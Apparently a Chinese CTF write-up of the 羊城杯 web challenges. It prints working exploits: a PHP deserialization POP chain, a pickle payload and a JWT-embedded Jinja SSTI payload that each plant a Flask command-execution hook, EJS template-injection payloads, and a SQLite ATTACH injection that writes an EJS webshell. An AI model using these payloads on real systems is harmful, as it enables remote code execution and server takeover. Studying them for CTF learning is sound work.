羊城杯 web 复现

(2025-11-23T09:24:38.194Z)
Nick Chen

文章摘要

Summarizing...

10-13比赛,11-18复现,放到现在感觉能多出几道,不过当时出了一个一血+大半道题感觉还是不错的。

EZ_Unserialize

<?php
class A {
    public $first;
    public $step;
    public $next;

    public function __construct() {
        $this->first = "继续加油!";
    }

    public function start() {
        echo $this->next;
    }
}

class E {
    private $you;
    public $found;
    private $secret = "admin123";

    public function __get($name){
        if($name === "secret") {
            echo "<br>".$name." maybe is here!</br>";
            $this->found->check();
        }
    }
}

class F {
    public $fifth;
    public $step;
    public $finalstep;

    public function check() {
        if(preg_match("/U/",$this->finalstep)) {
            echo "仔细想想!";
        }
        else {
            $this->step = new $this->finalstep();
            ($this->step)();
        }
    }
}

class H {
    public $who;
    public $are;
    public $you;

    public function __construct() {
        $this->you = "nobody";
    }

    public function __destruct() {
        $this->who->start();
    }
}

class N {
    public $congratulation;
    public $yougotit;

    public function __call(string $func_name, array $args) {
        return call_user_func($func_name,$args[0]);
    }
}

class U {
    public $almost;
    public $there;
    public $cmd;

    public function __construct() {
        $this->there = new N();
        $this->cmd = "ls /";
    }

    public function __invoke() {
        return $this->there->system($this->cmd);
    }
}

class V {
    public $good;
    public $keep;
    public $dowhat;
    public $go;

    public function __toString() {
        $abc = $this->dowhat;
        $this->go->$abc;
        return "<br>Win!!!</br>";
    }
}

$oa = new A();
$oe = new E();
$of = new F();
$oh = new H();
$on = new N();
$ou = new U();
$ov = new V();

// H -> A -> V -> E -> F -> U -> N

$of->finalstep="u"; // 使用小写 'u' 绕过 preg_match("/U/", ...)
$oe->found=$of;
$ov->dowhat = "secret";
$ov->go=$oe;
$oa->next=$ov;
$oh->who=$oa;

echo urlencode(serialize($oh));
echo "\n";
echo serialize($oh);
echo "\n";

EZ_Blog

\x80\x04\x95 是典型的 pickle 流标志,打反序列化

cbuiltins
eval
(S'app.before_request_funcs.setdefault(None,[]).append(lambda:__import__(\'os\').popen(request.args.get(\'cmd\')).read())'
tR.

Static_Node

https://github.com/nodejs/node/blob/main/lib/path.js#L1332

 join(...args) {
    if (args.length === 0)
      return '.';

    const path = [];
    for (let i = 0; i < args.length; ++i) {
      const arg = args[i];
      validateString(arg, 'path');
      if (arg.length > 0) {
        path.push(arg);
      }
    }

    if (path.length === 0)
      return '.';

    return posix.normalize(ArrayPrototypeJoin(path, '/'));
  },

path.join 的处理逻辑:把所有参数拼接在一起,然后处理成规范的路径

5ec82b0aa25fca93b091ff641e3079b2_720.png

打 ejs 马

<%- global.process.mainModule.require('child_process').execSync('ls / -liah') %>

evil_login

jwt_tool爆破key为admin123

构造ssti rce

curl -X GET http://45.40.247.139:22060/robots\?cmd\=cat+app/app.py \
-H "Cookie: connect.sid=s%3AgBhSN81H4Iw96DydPK25ZELPVzwtptM0.9VBCh9RZ%2FGE8Y3UiWnxs2pvNfrbUSPeOQUUjHsT7I8A; JSESSIONID=6F56BE6AF721ED0B3DC10785D68AD626; auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoie3t1cmxfZm9yLl9fZ2xvYmFsc19fWydfX2J1aWx0aW5zX18nXVsnZXZhbCddKFwiYXBwLmFmdGVyX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSByZXNwOiBDbWRSZXNwIGlmIHJlcXVlc3QuYXJncy5nZXQoJ2NtZCcpIGFuZCBleGVjKFxcXCJnbG9iYWwgQ21kUmVzcDtDbWRSZXNwPV9faW1wb3J0X18oXFwnZmxhc2tcXCcpLm1ha2VfcmVzcG9uc2UoX19pbXBvcnRfXyhcXCdvc1xcJykucG9wZW4ocmVxdWVzdC5hcmdzLmdldChcXCdjbWRcXCcpKS5yZWFkKCkpXFxcIik9PU5vbmUgZWxzZSByZXNwKVwiLHsncmVxdWVzdCc6dXJsX2Zvci5fX2dsb2JhbHNfX1sncmVxdWVzdCddLCdhcHAnOnVybF9mb3IuX19nbG9iYWxzX19bJ3N5cyddLm1vZHVsZXNbJ19fbWFpbl9fJ10uX19kaWN0X19bJ2FwcCddfSl9fSJ9.jj4N6SzlyVsWZvr1vUQ5ceIPYKFp3uB5rVuPkX56b1s"
from flask import Flask, render_template, request, redirect, url_for, flash, render_template_string
import os
import jwt
from datetime import datetime, timedelta

app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET", "dev_secret_key_change_me")

USERS = {
    "admin": {
        "password": "admin6666",
        "name": "Admin User",
        "email": "admin@example.com",
        "bio": "我是站点管理员。",
    },
    "guest": {
        "password": "guest1234",
        "name": "Guest User",
        "email": "guest@example.com",
        "bio": "我是访客用户。",
    },
}

JWT_SECRET = "admin123"
JWT_ALGORITHM = "HS256"
JWT_EXP_DELTA_SECONDS = 60 * 60

def generate_token(username: str) -> str:
    payload = {
        "user": username
    }
    token = jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)
    if isinstance(token, bytes):
        token = token.decode("utf-8")
    return token

def decode_token(token: str):
    try:
        payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])
        return payload
    except Exception:
        return None

def get_current_user():
    token = request.cookies.get("auth_token")
    if not token:
        return None
    payload = decode_token(token)
    if not payload:
        return None
    return payload.get("user")

@app.route("/", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username", "").strip()
        password = request.form.get("password", "")

        user = USERS.get(username)
        if user and user["password"] == password:
            token = generate_token(username)
            resp = redirect(url_for("profile"))
            resp.set_cookie(
                "auth_token",
                token,
                httponly=True,
                samesite="Lax",
                secure=False,
                max_age=JWT_EXP_DELTA_SECONDS,
            )
            flash("登录成功", "success")
            return resp
        else:
            flash("用户名或密码错误", "danger")

    if get_current_user():
        return redirect(url_for("profile"))
    return render_template("login.html")

@app.context_processor
def inject_user():
    return {"current_user": get_current_user()}

@app.route("/profile")
def profile():
    username = get_current_user()
    if not username:
        flash("请先登录", "warning")
        return redirect(url_for("login"))

    user = USERS.get(username, {})
    return render_template("profile.html", username=username, user=user)

@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.set_cookie("auth_token", "", max_age=0)
    flash("已退出登录", "info")
    return resp

@app.errorhandler(404)
def page_not_found(e):
    username = get_current_user()
    if not username:
        flash("请先登录", "warning")
        return redirect(url_for("login"))

    template = """
{%% extends "base.html" %%}
{%% block content %%}
  <div class="center-content error card">
    <h1>Dear %s,</h1>
    <h3>That page doesn't exist.</h3>
  </div>
{%% endblock %%}
""" % (username)
    return render_template_string(template), 404

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

得到低权限shell,提示有mcp服务, ps -aux 发现mcp server为root权限,端口为 9000

MCP Inspector 调试,where_is_the_flag+read_resource 拿到 flag。

Authweb

被人非预期了

image.png

EZ_Signin(一血)

  1. 爆破出帐号密码 Admin:password
  2. 通过路径穿越下载 ../app.js ../packages.json ../initdb.js ../sqlite.db
  3. 阅读 app.js 得知 flag 位置,且 SQL 命令直接拼接,可以注入。但是搜索得知 sqlite 无 load_file 之类的方法,只有 ATTACH 方法可以实现写 shell
  4. 思考方向转向使用 sql 注入写 shell
  5. 阅读 app.js 代码得知使用 ejs 动态模板渲染,阅读 packages.json 得知 ejs 版本为 3.1.9,搜索得知存在 SSTI 漏洞。再次使用 download 路由下载所有 views 下的模板文件,发现不存在 upload.ejs
  6. 由于 ATTACH 写 shell 无法写入已存在的文件,所以思路明确:向 upload.ejs 模板写命令执行语
  7. 改写 CVE-2022-29078 的 exp 注入注册页面后访问 /upload 得到 flag

Payload: iwantflag', '123'); ATTACH DATABASE 'views/upload.ejs' AS pwned; CREATE TABLE pwned.shell (data TEXT); INSERT INTO pwned.shell (data) VALUES ('<pre><% (() => {});return process.mainModule.require("child_process").execSync("cat /fla4444444aaaaaagg.txt").toString() %></pre>'); --+

评论

0 条
请先 登录 后发表评论。